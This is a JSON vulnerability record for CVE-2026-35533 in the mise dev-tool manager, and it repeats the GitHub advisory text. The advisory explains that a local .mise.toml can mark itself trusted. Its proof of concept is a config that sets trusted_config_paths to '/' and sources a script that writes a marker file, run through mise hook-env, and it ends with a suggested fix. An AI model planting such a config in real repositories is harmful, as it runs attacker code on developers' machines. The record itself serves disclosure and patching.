{"id":"CVE-2026-35533","aliases":["EUVD-2026-19952","GHSA-436v-8fw5-4mj8"],"status":"published","title":"mise has a local settings bypass config trust checks","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.2.18 through 2026.4.5, mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00166,"percentile":0.05842,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-284"],"published":"2026-04-07T20:13:11Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"crates.io","package":"mise","fixed_in":["2026.6.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"mise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.2.18"},{"fixed":"2026.6.4"}]}]},{"source":"osv","ecosystem":"crates.io","package":"mise","ranges":[{"type":"SEMVER","events":[{"introduced":"2026.2.18"},{"fixed":"2026.6.4"}]}]}],"products":[{"vendor":"jdx","product":"mise"}],"references":[{"url":"https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35533","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-436v-8fw5-4mj8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35533.json","tags":["advisory"]},{"url":"https://github.com/jdx/mise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-35533","title":"mise has a local settings bypass config trust checks","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.2.18 through 2026.4.5, mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.","status":"published","published":"2026-04-07T21:01:16.67Z","modified":"2026-04-08T14:31:40.953Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:20:05.15083Z"}],"euvd":[{"id":"EUVD-2026-19952","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.2.18 through 2026.4.5, mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.","status":"published","published":"2026-04-07T21:01:16Z","modified":"2026-04-08T14:31:40Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:12.037386Z"}],"ghsa":[{"id":"GHSA-436v-8fw5-4mj8","title":"Local settings bypass config trust checks","description":"### Summary\n\n`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.\n\nThe strongest current variant is `trusted_config_paths = [\"/\"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.\n3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.\n\nThe main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):\n\n```rust\nlet settings = Settings::get();\nfor p in settings.trusted_config_paths() {\n    if canonicalized_path.starts_with(p) {\n        add_trusted(canonicalized_path.to_path_buf());\n        return true;\n    }\n}\n```\n\nIf a local project file sets:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n```\n\nthen every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.\n\nRelated variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```toml\n[env]\n_.source = [\"./poc.sh\"]\n```\n\n`mise ls` fails with:\n\n```text\nConfig files in /work/poc/.mise.toml are not trusted.\n```\n\nand `/tmp/mise-proof.txt` is not created.\n\nPrimary exploit:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n\n[env]\n_.source = [\"./poc.sh\"]\n```\n\nwith:\n\n```bash\n#!/usr/bin/env bash\necho trusted_paths_hookenv \u003e /tmp/mise-proof.txt\n```\n\nThen:\n\n```bash\nmise hook-env -s bash --force\n```\n\nObserved:\n\n```text\n/tmp/mise-proof.txt =\u003e trusted_paths_hookenv\n```\n\nRelated regression check:\n\n- `v2026.2.17`: local `yes = true` does not bypass trust\n- `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.\n\nDemonstrated on current supported versions:\n\n- execution via `[env] _.source` during `mise hook-env`\n- bypass of the protection that `mise trust` is supposed to provide for dangerous config features\n\nOn newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.\n\n### Suggested Fix\n\nDo not honor trust-control settings from non-global project config files.\n\nAt minimum, ignore these fields when loading local project config:\n\n- `trusted_config_paths`\n- `yes`\n- `ci`\n- `paranoid`\n\nFor example:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.yes = None;\n        settings.ci = None;\n        settings.trusted_config_paths = None;\n        settings.paranoid = None;\n    }\n\n    Ok(settings)\n}\n```","status":"published","published":"2026-04-07T20:13:11Z","modified":"2026-06-12T19:30:52Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-35533","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.2.18 through 2026.4.5, mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.","status":"published","published":"2026-04-07T21:17:17.87Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"CVE-2026-35533","title":"mise has a local settings bypass config trust checks","description":"mise manages dev tools like node, python, cmake, and terraform. From 2026.2.18 through 2026.4.5, mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.","status":"published","published":"2026-04-07T21:01:16.67Z","modified":"2026-10-28T02:31:04.727495245Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T15:45:02.673625Z"},{"id":"GHSA-436v-8fw5-4mj8","title":"Local settings bypass config trust checks","description":"### Summary\n\n`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.\n\nThe strongest current variant is `trusted_config_paths = [\"/\"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.\n3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.\n\nThe main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):\n\n```rust\nlet settings = Settings::get();\nfor p in settings.trusted_config_paths() {\n    if canonicalized_path.starts_with(p) {\n        add_trusted(canonicalized_path.to_path_buf());\n        return true;\n    }\n}\n```\n\nIf a local project file sets:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n```\n\nthen every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.\n\nRelated variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```toml\n[env]\n_.source = [\"./poc.sh\"]\n```\n\n`mise ls` fails with:\n\n```text\nConfig files in /work/poc/.mise.toml are not trusted.\n```\n\nand `/tmp/mise-proof.txt` is not created.\n\nPrimary exploit:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n\n[env]\n_.source = [\"./poc.sh\"]\n```\n\nwith:\n\n```bash\n#!/usr/bin/env bash\necho trusted_paths_hookenv \u003e /tmp/mise-proof.txt\n```\n\nThen:\n\n```bash\nmise hook-env -s bash --force\n```\n\nObserved:\n\n```text\n/tmp/mise-proof.txt =\u003e trusted_paths_hookenv\n```\n\nRelated regression check:\n\n- `v2026.2.17`: local `yes = true` does not bypass trust\n- `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.\n\nDemonstrated on current supported versions:\n\n- execution via `[env] _.source` during `mise hook-env`\n- bypass of the protection that `mise trust` is supposed to provide for dangerous config features\n\nOn newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.\n\n### Suggested Fix\n\nDo not honor trust-control settings from non-global project config files.\n\nAt minimum, ignore these fields when loading local project config:\n\n- `trusted_config_paths`\n- `yes`\n- `ci`\n- `paranoid`\n\nFor example:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.yes = None;\n        settings.ci = None;\n        settings.trusted_config_paths = None;\n        settings.paranoid = None;\n    }\n\n    Ok(settings)\n}\n```","status":"published","published":"2026-04-07T20:13:11Z","modified":"2026-06-12T19:45:09.834277469Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T15:46:36.434231Z"}]}}
